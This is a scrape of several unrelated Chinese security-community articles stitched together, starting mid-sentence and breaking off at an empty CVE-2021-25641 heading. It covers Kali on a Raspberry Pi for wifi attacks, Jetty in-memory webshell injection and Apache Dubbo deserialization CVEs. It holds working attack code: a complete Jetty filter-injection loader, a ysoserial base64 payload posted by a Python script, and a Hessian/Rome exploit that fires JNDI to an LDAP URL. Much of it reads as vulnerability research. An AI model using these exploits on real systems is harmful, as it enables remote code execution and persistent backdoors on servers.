Pi）终于有空倒腾起来。在去年的某大型攻防演习行动中，听说过无人机+树莓派进行无线wifi攻击的神操作，惊为天人，一直想动手试一试，今天就先在树莓派中装上渗透利器kali
Linux。
### 0x01 关于树莓派
树莓派（Raspberry
Pi）是尺寸仅有信用卡大小的一个小型电脑，使用博通（Broadcom）出产的ARM架构处理器，内存在256MB和4GB之间，主要使用SD卡或者TF卡作为存储媒躰，配备USB接口、HDMI的视频输出（支持声音输出）和RCA端子输出，内置Ethernet/WLAN/Bluetooth网络链接的方式，并且可使用多种操作系统。树莓派虽小，但五脏俱全和普通电脑无异，电脑能做的大部分事情，在树莓派上都能做，而树莓派以其低能耗、移动便携性、GPIO等特性，很多在普通电脑上难以做好的事情，用树莓派却是很适合的，比如最近非常火的
**近源渗透** 。
### 0x02 树莓派配件安装
在购买树莓派的时候，光有树莓派主板还不够，为了能够在树莓派上烧录系统并延长树莓派使用寿命，对于新手来说，一般还需要以下配件：
电源*1(电源的参数是5V，3A)
SD卡*1（8-32G）+读卡器*1
散热片*1套
外壳*1
散热风扇*1
显示器*1
HDMI接线*1
键盘*1
我们需要将散热片、散热风扇、外壳等配件进行安装。首先，将3片散热片贴到对应的位置，并用螺丝刀和螺丝将板卡和外壳进行固定。然后，将散热风扇的连接线插入到树莓派主板中，这里特别要注意一下，需要将风扇的红线和黑线分别插到4号和6号针脚（如图），如果插错了风扇是不会转的。
再将散热风扇用螺丝刀和螺丝固定到外壳上，注意散热风扇的螺丝不要拧太紧，否则会影响风扇散热。安装完后，大概是这个样子：
### 0x03 烧录kali Linux系统
配件安装完后，接下来就需要为树莓派烧录系统了。首先去官方网站（<https://www.offensive-security.com/kali-linux-arm-images/）下载kali的Raspberry> Pi系统镜像：
根据自己的情况选择一个镜像进行下载。不过官方的速度很慢，可以使用另一个下载链接：[https://linuxtracker.org/index.php?page=downloadcheck&id=4a72f1c79fae44db6a398f932c30de9bf61b8cd6](https://linuxtracker.org/index.php?page=downloadcheck&id=4a72f1c79fae44db6a398f932c30de9bf61b8cd6)
然后，需要将镜像烧录近准备好的SD卡中，可以通过Win32DiskImager实现：
Win32DiskImager中的映像文件选择我们下载的kali镜像文件，设备选择我们正在读的SD卡，点击写入(write)，等待进度条到100%，kali
Linux系统就写入成功了。
接下来，将SD卡从读卡器中取出，插入到树莓派中，再用HDMI线接上屏幕，插上电源和键盘，不出意外的话，kali就已经安装到树莓派中了：
### 0x04 自启动配置
树莓派装好kali系统后，要发挥树莓派便携的优势，不能每次都连接显示器，所以需要进行两项配置：自动连接wifi和自动启动SSH，以便通过ssh对树莓派进行控制。
1、自动连接wifi设置
这里踩了一些坑，最终能够成功实现的方法如下：
进入/etc/wpa_supplicant目录，然后使用系统自带的wpa_passphrase命令创建一个配置文件：
# cd /etc/wpa_supplicant/
# wpa_passphrase "ssid" "12345678" > wpa_supplicant.conf
第一个参数为ssid网络名称，第二个为key，写到wpa_supplicant.conf配置文件中。然后，我们编辑/etc/network/interfaces文件，在最后加上如下配置，意思就是启动wlan0网路接口，然后加载刚刚添加的配置文件进行连接。
auto wlan0
allow-hotplug wlan0
iface wlan0 inet manual
wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf
iface default inet dhcp
2、自启动SSH
kali SSH进行了安全控制，默认不开启SSH服务，也不允许root用户进行远程登录，所要进行以下配置：
(1)修改 /etc/ssh/sshd_config 文件，将`#PasswordAuthentication
no`的注释去掉,将`PermitRootLogin no` 修改为 `PermitRootLogin yes`
(2)执行`update-rc.d ssh enable` 设置自启动
这样，树莓派启动后就会自动连接到我们设置的wifi热点，并开启ssh服务，我们的电脑只要接入同一个wifi就可以ssh到树莓派上进行操作了，十分方便。
### 0x05 关于emergency mode的坑
在实际使用中，会经常发现树莓派中的kali系统起来了，但没有自启动SSH服务的情况，接上显示器进行分析，发现树莓派上的kaili
每次启动都进入了emergency mode，而不是正常启动，emergency
mode不会自动开启SSH。查了查网上的资料，可能是由于树莓派关机的时候直接关电源造成SD卡中的文件损坏，修复方式如下：
将装有kali的SD卡，通过读卡器连接到另一台linux系统，假设设备名是sdb，执行：
sudo umount /dev/sdb1
sudo umount /dev/sdb2
sudo fsck /dev/sdb1
sudo fsck /dev/sdb2
这样就修复了每次都进入emergency mode的问题。注意，在关树莓派的时候不要直接断电源，用poweroff命令进行关机。
到这里，我们已经将kali安装到了树莓派中，kali中的各种渗透工具都可以像在电脑上一样使用。如果要进行无线wifi的攻击，可以使用kali中自带的aircrack-ng工具。所以，在下次演习的时候，可以看看办公楼窗外是不是悬停着一架无人机，以及无人机上面是不是装载了一个树莓派~ | 社区文章 |
# Jetty 内存马注入分析
## 目录
* 环境搭建
* Filter分析
* 构造内存马
* 获取ServletHandler
* 获取_filterPathMappings
* 实例化FilterMapping
* 具体实现
* 后记
### 环境搭建
Jetty
是一个开源的servlet容器，它为基于Java的web容器，例如JSP和servlet提供运行环境。Jetty是使用Java语言编写的，它的API以一组JAR包的形式发布。开发人员可以将Jetty容器实例化成一个对象，可以迅速为一些独立运行（stand-alone）的Java应用提供网络和web连接。
Jetty 9.0.7
HelloFilter
package com.example.JettyDemo;
import javax.servlet.*;
import javax.servlet.annotation.*;
import java.io.IOException;
@WebFilter(filterName = "HelloFilter",urlPatterns = "/hello")
public class HelloFilter implements Filter {
public void init(FilterConfig config) throws ServletException {
}
public void destroy() {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
response.getWriter().println("HelloFilter work");
chain.doFilter(request, response);
}
}
### Filter分析
在servlet打下断点，查看调用栈，在ServletHandler中第一次出现了和filter相关的信息，可以看出调用栈在经ServletHandler后构造filter相关的信息。个人理解，直接寻找第一出现和filtes相关信息的调用栈，可以快速定位获取上下文的内容。比如这里，就看出我们需要获取ServletHanlder。
找到第一次调用`doFilter`的地方，`ServletHandler::doHandle`中第一次调用了doFilter，`chain.doFilter()`。考虑chain是如何生成的。
`ServletHandler::doHandle`中定义了`chain（FilterChain）类型`，接着调用了`getFilterChain`，跟进查看`getFilterChain`，该函数构造FilterChain。
在该函数中打下断点，跟进到该函数中，重启服务器。这里实例化了一个filters，接下来的操作就是遍历`_filterPathMappings`中的元素，从中获取元素中的`_Holder`（FilterHolder类型）
接着经过`new
ServletHandler.CacheChain(filers,servletHolder)`，会将filters中的信息存入chain，然后返回chain。
继续往上跟进，观察`_filterPathMappings`如何生成的。观察调用栈可以发现，在第一次调用`ServletHandler`的时候，在实例化的`ServletHandler`对象中有`this._filterPathMappings`，那么可以理解为获取到`ServletHandler对象`就能获取到`_filterPathMappings`
所以如何将恶意filter注入的关键在于在`_filterPathMappings`中添加必要的元素。需要往filerPathMappings中添加FilterMapping类型的元素。根据经验，可以假设FilterMapping中需要包含如下三个变量。
思路如下：
1、获取ServletHandler
2、获取_filterPathMappings
3、往_filterPathMappings中添加元素FilterMapping的实例化对象
其中该实例化对象包含三个变量：分别是_filterName,_holder,_pathSpecs
### 构造内存马
#### 获取ServletHandler
快速定位上下文
// 设置搜索类型包含Request关键字的对象
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new ArrayList<Keyword>();
keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("org.eclipse.jetty.servlet.ServletHandler.").build());
// 定义黑名单
java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new ArrayList<Blacklist>();
blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type("java.io.File").build());
// 新建一个广度优先搜索Thread.currentThread()的搜索器
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.getThreads(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
// 打开调试模式,会生成log日志
searcher.setIs_debug(true);
// 挖掘深度为20
searcher.setMax_search_depth(20);
// 设置报告保存位置
searcher.setReport_save_path("/Users/lishuheng/Documents/CodeFile/java/MiddleWare/logs/jetty");
searcher.searchObject();
TargetObject = {[Ljava.lang.Thread;}
---> [8] = {java.lang.Thread} = {java.lang.Thread}
---> contextClassLoader = {org.eclipse.jetty.webapp.WebAppClassLoader}
---> _context = {org.eclipse.jetty.webapp.WebAppContext}
---> _servletHandler = {org.eclipse.jetty.servlet.ServletHandler}
获取_servletHandler
Object obj = Thread.currentThread();
Field field = obj.getClass().getDeclaredField("contextClassLoader");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("_context");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("_servletHandler");
field.setAccessible(true);
obj = field.get(obj);
#### 获取_filterPathMappings
private static synchronized void InjectFilter(){
...
//假定已经获取到ServletHandler
ArrayList filterPathMappings = (ArrayList) GetField(servletHandler,"_filterPathMappings");
...
}
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}
#### 实例化FilterMapping
这里需要注意的是，当我企图直接实例化一个FilterMapping的时候，系统报错如下：
但是在Jetty的依赖包中又确实有这个类。暂时存疑。
这里提供两种解决思路
**思路一：**
干脆直接用反射的方式去构造FilterMapping，如下：
Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object filterHolder = constructor2.newInstance();
Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class);
setFilter.invoke(filterHolder,HFilter);
Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName",String.class);
setName.invoke(filterHolder,filterName);
Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
constructor.setAccessible(true);
Object filterMapping = constructor.newInstance();
实例化FilterMapping对象包含三个变量，分别是`_filterName,_holder,_pathSpecs`的原因是
`_pathSpecs`在`ServletHandler:getFilterChain()`中的`appliesTo()`函数
该函数将实际访问的路由与`filterMapping._pathSpecs`中所定义的路由进行匹配，匹配正确则为true。
接着调用`filterPathMapping.getFilterHolder()`，获取`filterMapping`中的`_holder`，
FilterHolder中包含了Filter的各项信息。
`_filterName`实际上并非必要，因为通过调试可知，当获取到_holder的值之后，`_holder`中同样也能获取到`_filtername`，而且会自动赋值到`_filterName`中。
具体代码如下：
Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class);
setFilterName.invoke(filterMapping,filterName);
Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());
setFilterHolder.setAccessible(true);
setFilterHolder.invoke(filterMapping,filterHolder);
String pathSpecs = url;
Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class);
setPathSpec.invoke(filterMapping,pathSpecs);
filterPathMappings.add(filterMapping);
**思路二：**
在`org.eclipse.jetty.servlet.ServletHandler`中有方法`addFilterWithMapping`可以向`_filterPathMappings（ArrayList类型）`中添加`FilterMapping类型的元素`
### 具体实现
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;
import javax.servlet.Filter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class JettyFilterLoader extends AbstractTranslet {
private static Object servletHandler = null;
private static String filterName = "HFilter";
private static String filterClassName = "com.HFilter";
private static String url = "/*";
private static synchronized void LoadFilter() throws Exception {
try{
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
}catch (Exception e){
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class|base64");
a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}
//获取上下文
public static synchronized void GetWebContent() throws Exception {
try{
Thread currentThread = Thread.currentThread();
Object contextClassLoader = GetField(currentThread, "contextClassLoader");
Object _context = GetField(contextClassLoader,"_context");
servletHandler = GetField(_context,"_servletHandler");
}catch (Exception e){
e.printStackTrace();
}
}
private static synchronized void InjectFilter() throws Exception {
if(servletHandler != null){
//方法一
Filter HFilter = (Filter) Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
ArrayList filterPathMappings = (ArrayList) GetField(servletHandler,"_filterPathMappings");
Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object filterHolder = constructor2.newInstance();
Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class);
setFilter.invoke(filterHolder,HFilter);
Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName",String.class);
setName.invoke(filterHolder,filterName);
Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
constructor.setAccessible(true);
Object filterMapping = constructor.newInstance();
Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class);
setFilterName.invoke(filterMapping,filterName);
Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());
setFilterHolder.setAccessible(true);
setFilterHolder.invoke(filterMapping,filterHolder);
String pathSpecs = url;
Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class);
setPathSpec.invoke(filterMapping,pathSpecs);
filterPathMappings.add(filterMapping);
System.out.println("123");
/*
//方法二
Class HFilter = Thread.currentThread().getContextClassLoader().loadClass(filterClassName);
Method addFilterWithMapping = GetMethod(servletHandler, "addFilterWithMapping", Class.class, String.class, Integer.TYPE);
addFilterWithMapping.invoke(servletHandler, HFilter, "/*", 1);
//使用addFilterWithMapping有个问题，动态添加FilterMapping时，其dispatches可能会与已加载到内存中的FilterMapping重复了，因此需要调整元素在_filterPathMappings中的位置
Object filterMaps = GetField(servletHandler, "_filterMappings");
Object[] tmpFilterMaps = new Object[Array.getLength(filterMaps)];
int n = 1;
int j;
for(j = 0; j < Array.getLength(filterMaps); ++j) {
Object filter = Array.get(filterMaps, j);
String filterName = (String)GetField(filter, "_filterName");
if (filterName.contains(HFilter.getName())) {
tmpFilterMaps[0] = filter;
} else {
tmpFilterMaps[n] = filter;
++n;
}
}
for(j = 0; j < tmpFilterMaps.length; ++j) {
Array.set(filterMaps, j, tmpFilterMaps[j]);
}*/
}
}
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}
private static synchronized Method GetMethod(Object obj, String methodName, Class<?>... paramClazz) throws NoSuchMethodException {
Method method = null;
Class clazz = obj.getClass();
while(clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(methodName, paramClazz);
break;
} catch (NoSuchMethodException var6) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
} else {
method.setAccessible(true);
return method;
}
}
static {
new JettyFilterLoader();
}
public JettyFilterLoader(){
try{
LoadFilter();
GetWebContent();
InjectFilter();
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
### 后记
为什么实例化FilterMapping时会存在找不到该类的问题，望赐教。如有分析不对的地方，望斧正。 | 社区文章 |
# Java安全-Dubbo
## What is Dubbo
Apache Dubbo 是高性能的Java RPC框架。
### RPC
远程过程调用，不同于RMI，一个面向过程，一个面向对象。
服务器A和B分别部署了一个应用，A想调用B的方法，但是它们的部署的应用不在同一个内存空间，就不能直接调用，所以
**需要通过网络来表达调用的语义和传达的数据。**
看一下Dubbo的基本工作原理
中间的通信协议使用dubbo协议。
先分清这几个角色
* Container 服务运行的容器
* Provider RPC服务提供方
* Registry 注册中心
* Consumer RPC服务消费者
* Monitor 监控中心
调用关系说明:
首先容器开启并提供RPC服务，然后
1. 服务提供者在启动时，向注册中心注册自己提供的服务。
2. 服务消费者在启动时，向注册中心订阅自己所需的服务。
3. 注册中心返回服务提供者地址列表给消费者，如果有变更，注册中心将基于长连接推送变更数据给消费者。
4. 服务消费者，从提供者地址列表中，基于软负载均衡算法，选一台提供者进行调用，如果调用失败，再选另一台调用。
5. 服务消费者和提供者，在内存中累计调用次数和调用时间，定时每分钟发送一次统计数据到监控中心。
### Zookeeper
Zookeeper 是Dubbo推荐使用的注册中心，安装参考
<https://dubbo.apache.org/zh/docsv2.7/admin/install/zookeeper/>
不开启集群
然后开启，Zookeeper注册中心。
### 分包
分包简单来说就是把服务中需要的接口和模型，以及异常都抽离出来放在一个API包里，这样更方便Consumer和Provider 来实现。
搭建参考
[https://github.com/apache/dubbo-samples/](https://github.com/apache/dubbo-samples/tree/master/dubbo-samples-zookeeper)
## CVE-2019-17564
### 简述
Apache
Dubbo在使用HTTP协议进行通信时，是直接使用了Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter类做远程调用的，而这个过程会读取POST请求的Body内容并进行反序列化操作，从而导致反序列化漏洞的存在进而RCE。
### 影响版本
### 复现分析
<https://github.com/apache/dubbo-samples/> 中的 http 来做demo，
再添加一个cc依赖
打开zookeeper 然后运行 httpprovider，
可以看到dubbo的通信协议是http协议。
运行consumer，使用wireshark追一下tcp流
因为直接使用127.0.0.1 ，数据包回环，不经过网卡，简单设置一下路由规则就好。
route add 192.168.1.6 mask 255.255.255.255 192.168.1.1 metric 1
route delete 192.168.1.6 mask 255.255.255.255 192.168.1.1 metric 1
Content-Type: application/x-java-serialized-object
用来指定java序列化的对象，尝试构造恶意的序列化数据，攻击provider本地的gadgets
`java -jar ysoserial.jar CommonsCollections6 calc|base64 -w0`
import requests
import base64
url = "http://192.168.1.6:8081/org.apache.dubbo.samples.http.api.DemoService"
payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="
payload = base64.b64decode(payload)
headers = {"Content-Type": "application/x-java-serialized-object"}
res = requests.post(url,headers=headers,data=payload)
print(res.text)
从报错的调用栈其实就可以知道原因了
org.springframework.remoting.rmi.RemoteInvocationSerializingExporter.doReadRemoteInvocation(RemoteInvocationSerializingExporter.java:147)
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.readRemoteInvocation(HttpInvokerServiceExporter.java:121)
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.readRemoteInvocation(HttpInvokerServiceExporter.java:100)
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter.handleRequest(HttpInvokerServiceExporter.java:79)
org.apache.dubbo.rpc.protocol.http.HttpProtocol$InternalHandler.handle(HttpProtocol.java:216)
org.apache.dubbo.remoting.http.servlet.DispatcherServlet.service(DispatcherServlet.java:61)
javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
org.springframework.remoting.rmi.RemoteInvocationSerializingExporter#doReadRemoteInvocation
这里调用Java原生的反序列化，然后再检查类型抛出异常。
官方也给出了提示，不建议使用httpinvoker来暴露服务。
<https://docs.spring.io/spring-framework/docs/5.1.0.RELEASE/spring-framework-reference/integration.html#remoting-httpinvoker>
### 补丁分析
不再使用`org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter`
作为骨架处理http请求，而是使用`com.googlecode.jsonrpc4j.JsonRpcServer`
，调用其父类的`com.googlecode.jsonrpc4j.JsonRpcBasicServer#handle` 方法处理。数据传输使用json
来完成。
## CVE-2020-1948
### 简述
上面的漏洞说到的是dubbo中使用http协议中存在的反序列化问题，此部分则是分析默认的dubbo的原生协议，中存在的反序列化漏洞。
### 影响版本
2.7.0 <= Dubbo Version <= 2.7.6
2.6.0 <= Dubbo Version <= 2.6.7
Dubbo 所有 2.5.x 版本（官方团队目前已不支持）
<https://dubbo.apache.org/zh/docs/references/protocols/，这里介绍了dubbo中支持的所有协议，主要看dubbo://>
dubbo协议中使用`hessian`序列化，所以，重点研究hessian的反序列化问题。
这篇文章中很详细的讲述了Java的序列化和反序列化机制，
<https://paper.seebug.org/1131/#hessian_2>
Hessian是二进制的web service协议，官方对Java、Flash/Flex、Python、C++、.NET
C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web
service方式的远程方法调用，区别是Hessian是二进制协议，Axis、XFire则是SOAP协议，所以从性能上说Hessian远优于后两者，并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象，集合了序列化/反序列化和RMI功能。
当然，这篇文章主要讨论Hessian 的反序列化的问题。
Hessian反序列化占用的空间比JDK反序列化结果小，Hessian序列化时间比JDK序列化耗时长，但Hessian反序列化很快。并且两者都是基于Field机制，没有调用getter、setter方法，同时反序列化时构造方法也没有被调用。
Hessian在基于RPC的调用中性能更好。
<https://www.anquanke.com/post/id/197658#h3-3>
三梦师傅也很详细的分析了dubbo中hessian反序列化的流程，总结了满足条件的Gadgets
对其整理一下：
1. 默认dubbo协议+hessian2序列化方式
2. 序列化tcp包可随意修改方法参数反序列化的class
3. 反序列化时先通过构造方法实例化，然后在反射设置字段值
4. 构造方法的选择，只选择花销最小并且只有基本类型传入的构造方法
由此，想要rce，估计得找到以下条件的gadget clain：
1. 有参构造方法
2. 参数不包含非基本类型
3. cost最小的构造方法并且全部都是基本类型或String
环境参考<https://github.com/apache/dubbo-samples/tree/master/dubbo-samples-basic>
修改 version
添加Rome依赖
先使用demo执行一下rpc调用
可以发现dubbo的协议格式。
<https://dubbo.apache.org/zh/docs/concepts/rpc-protocol/#protocol-spec>
文档写的很明确，
直接看body部分的序列化部分，
Dubbo version 和 Service name Service version 需要通过数据包可以直接看到，
然后修改指定方法的参数类型为map，加入一个满足条件的Gadgets，
payload如下
使用rome调用getter方法触发jndi注入的链子，
package org.apache.dubbo.samples.basic;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import marshalsec.util.Reflections;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;
public class TestBasicConsumer {
public static void main(String[] args) throws Exception{
JdbcRowSetImpl rs = new JdbcRowSetImpl();
//todo 此处填写ldap url
rs.setDataSourceName("ldap://127.0.0.1:8087/xxx");
rs.setMatchColumn("foo");
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
HashMap s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
Reflections.setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
out.writeUTF("2.0.2");
//todo 此处填写注册中心获取到的service全限定名、版本号、方法名
out.writeUTF("org.apache.dubbo.samples.basic.api.DemoService");
out.writeUTF("0.0.0");
out.writeUTF("sayHello");
//todo 方法描述不需要修改，因为此处需要指定map的payload去触发
out.writeUTF("Ljava/util/Map;");
out.writeObject(s);
out.writeObject(new HashMap());
out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
}
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
//todo 此处填写被攻击的dubbo服务提供者地址和端口
Socket socket = new Socket("192.168.1.4", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}
上面的漏洞问题出在哪里？
明明接口方法的参数类型是String，却可以通过协议的漏洞来伪造一个Map类型的恶意类进而触发hashcode或者equals方法的反序列化。
### 补丁分析
<https://github.com/apache/dubbo/compare/dubbo-2.7.6...dubbo-2.7.7#diff-a32630b1035c586f6eae2d778e19fc172e986bb0be1d4bc642f8ee79df48ade0>
`org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel,
java.io.InputStream)`
修复方法是加了层判断，
## CVE-2020-11995
### 简述
上面漏洞的绕过版本，根本原因还是考虑泛型调用，兼容性。所以可以修改方法名来绕过达到反序列化的目的，泛型调用下面会说。
### 影响版本
Dubbo 2.7.0 ~ 2.7.8
Dubbo 2.6.0 ~ 2.6.8
Dubbo 所有 2.5.x 版本
poc 就是把上面的方法名换成下面三个任意
### 补丁分析
<https://github.com/apache/dubbo/compare/dubbo-2.7.7...dubbo-2.7.9#diff-a32630b1035c586f6eae2d778e19fc172e986bb0be1d4bc642f8ee79df48ade0>
又加了判断，
算是没有办法绕过了，此处的参数类型强制指定为泛型调用时的。
## CVE-2021-25641
### 简述
